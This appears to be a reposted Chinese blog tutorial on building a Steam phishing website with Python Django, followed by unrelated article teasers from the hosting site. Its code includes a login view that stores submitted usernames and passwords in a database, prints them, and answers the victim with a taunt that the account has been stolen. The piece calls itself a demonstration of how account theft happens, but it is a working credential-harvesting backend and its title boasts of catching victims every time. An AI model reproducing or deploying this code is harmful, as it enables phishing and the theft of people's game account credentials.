用Python Django搭建简单一个steam钓鱼网站,一钓一个准

我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券、游戏官网上可以免费领取皮肤、打折的游戏。

我们日常上网的时候,总是会碰到一些盗号的网站,或者是别人发一些链接给你,里面的内容是一些可以免费购物网站的优惠券、游戏官网上可以免费领取皮肤、打折的游戏。

这些盗号网站统一的目的都是要你登录账号输入密码,点击登录,不过就是永远会提示你密码错误,登录不上。但你输入的所有信息,都会出现在别人的电脑上

这些网站盗号网站之所以能骗得过别人,是因为做得基本和正版的官方网站没有什么差别。不能说毫无差别,只能说是一模一样

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

而今天,我们的目的就是搭建一个这样的网站后端,简单的还原一下你被盗号的过程

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

环境搭建

安装Django模块

pip install django[==版本]

如:pip install django==3.0

安装django的指定版本

创建Django项目

在命令指示符里数据命令

django-admin startproject steam_web

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

创建子应用

把网站的各个模块拆分成子应用

python manage.py startapp login

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

会生成一个login文件,打开文件

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

介绍下我们会用到的文件

models.py文件:数据模型

views.py文件:用来控制页面逻辑

查看项目是否环境配置成功

可以用pycharm直接打开文件,然后点击运行

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

运行后会给出一段域名,点击打开

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

如果出现下面的页面,就说明该项目环境配置成功了

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

开始实现功能

点击进入settings.py文件,进行定制化修改

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

Application definition 网站子应用进行注册,在最后一行写入login

# Application definition# 网站子应用进行注册INSTALLED_APPS = [    'django.contrib.admin',    'django.contrib.auth',    'django.contrib.contenttypes',    'django.contrib.sessions',    'django.contrib.messages',    'django.contrib.staticfiles',    'login',]

创建一个templates文件,并修改代码

# templates 文件夹的配置项TEMPLATES = [    {         'BACKEND': 'django.template.backends.django.DjangoTemplates',        'DIRS': [os.path.join(BASE_DIR, 'templates')],        'APP_DIRS': True,        'OPTIONS': {             'context_processors': [                'django.template.context_processors.debug',                'django.template.context_processors.request',                'django.contrib.auth.context_processors.auth',                'django.contrib.messages.context_processors.messages',            ],        },    },]

配置网站默认语言、时间

# 网站默认语言 英文 修改成中文LANGUAGE_CODE = 'zh-hans'# 当前时间TIME_ZONE = 'Asia/Shanghai'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = False

最后在刷新网站页面,就变成了中文

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

静态页面当中的文件夹配置,并在总目录中创建一个static文件夹

STATIC_URL = '/static/'STATICFILES_DIRS = [    os.path.join(BASE_DIR, 'static'),]

导入所需文件

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

开始编写数据模型

打开**models.py文件,需要去创建一个模型类

from django.db import models# Create your models here.class User(models.Model):    name = models.CharField(max_length=20)    pwd = models.CharField(max_length=20)

编写视图

打开views.py文件,编写视图,是控制网站与用户的交互逻辑

# 渲染html文件到浏览器的from django.shortcuts import renderfrom django.views.generic import Viewfrom .models import Userfrom django.http import HttpResponse# Create your views here.# 在浏览器中显示网站首页def index(request):    return render(request, 'index.html')# 登录类视图class Login(View):    def get(self, request):        return render(request, 'denlu.html', locals())    '''    当用户在页面中输入了一些数据    可以使用post去做接收    '''    def post(self, request):        name = request.POST.get('username')        pwd = request.POST.get('password')        User.objects.create(name=name, pwd=pwd).save()        print(name)        print(pwd)        return HttpResponse('你的账号已经被盗, 溜了 溜了~')

在urls.py文件里编写路由

from django.contrib import adminfrom django.urls import pathfrom login.views import index, Loginurlpatterns = [    path('admin/', admin.site.urls),    path('', index, name='index'),    path('login/', Login.as_view(), name='login')]

同步数据库

因为只是个教学,所以用是自带的:sqlite3,文件型小型数据库

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

点击打开后,在这里输入makemigrations,这是将数据模型中的字段编译成一个Python的脚本,包含了sql语言

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

确定后会给你生成一个0001_initial.py文件

然后在执行脚本,输入 migrate 将数据模型映射到数据库中

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

运行文件,效果如下图

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

选择点击登录,输入账号密码,点击确定

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

然后你的账号密码会被打印出来

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

用Python Django搭建简单一个steam钓鱼网站,一钓一个准

原文链接:https://blog.csdn.net/m0_48405781/article/details/121472536

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/123536.html

(0)

相关推荐

  • 红米K50Pro不在低调,骁龙898+120W,配置性能全面升级,红米k50pro尊享版参数

    红米手机虽然仅是小米的子品牌,但自从独立运营之后,带来了不少性价比机型,完全继承了小米的创立理念,将性价比进行到底,每一款机型性价比都非常优秀,虽然如今也有不少性价比手机品牌,但对比之下,红米依然是最优秀的一个。如今红米已经不仅仅局限于中低端手机市场,从红米K40开始,逐步开始向入门旗舰市场发力,如红米K40系列。

    2021年10月24日
  • 保温杯泡茶有害健康吗?多少度的热茶不建议喝?

    喝茶有诸多好处,其功效之一是提神醒脑,茶叶中的咖啡碱能促使人体中枢神经兴奋,增强大脑皮质的兴奋过程,使人精神振奋,增强思维和记忆能力。

    生活 2021年9月17日
  • 心脏病的早期症状,睡觉对心脏好吗

    只有心脏健康而且不停地跳动,才能够及时给身体提供血液、营养和氧气,如若心脏出现了问题,身体各个器官都会受到影响,患上严重的心脏病,甚至还会带来致命的威胁。因此平时要时刻关注心脏的健康情况,比如观察自己的睡眠状态,就是一种不错的检测方法。

    生活 2021年11月1日
  • 人类智慧:语言技术是世界第一技术,没有什么是孤立存在的。

    我说的是白话。语言技术是世界的第一技术,'s的句子是口语化的,这一点被斯蒂芬的评价所研究。就语言技术优于计算机技术、优于金融技术而言,是世界第一技术。啊,所以你不会是黑客或Tik ...

    科技 2021年10月30日
  • 四十岁的女人要怎么保养不会老,40岁女人日常保养

    女性到了40岁,会明显的感觉到自己的身体以及外貌,大不如从前了,但是不要焦虑,人类本来就应该顺应时间发展的规律,这是我们不可改变的,到了40岁,做好该做的,对不该做的坚决说不!做到这些也可以在40岁重新绽放色彩。

    生活 2021年10月28日
  • 怎样去除口腔里的葱蒜味,去除口里大蒜的味儿

    洋葱和大蒜是很受欢迎的配料,非常美味,可以给食物提味。特别是大蒜有许多健康益处,包括治疗足癣,和降低患上某些癌症的风险。然而,洋葱和大蒜会在肠胃和口腔引发不良的副作用,尤其是口臭。当你切碎或压碎一瓣大蒜或洋葱时,它们会释放甲基烯丙基硫醚和其它化合物,摄入体内后会被血液吸收,使你的汗水和口气在接下来的一整天散发臭味。不过别担心,本文将告诉你去除洋葱和大蒜味的方法,预防令人尴尬的口臭问题。

    生活 2021年11月5日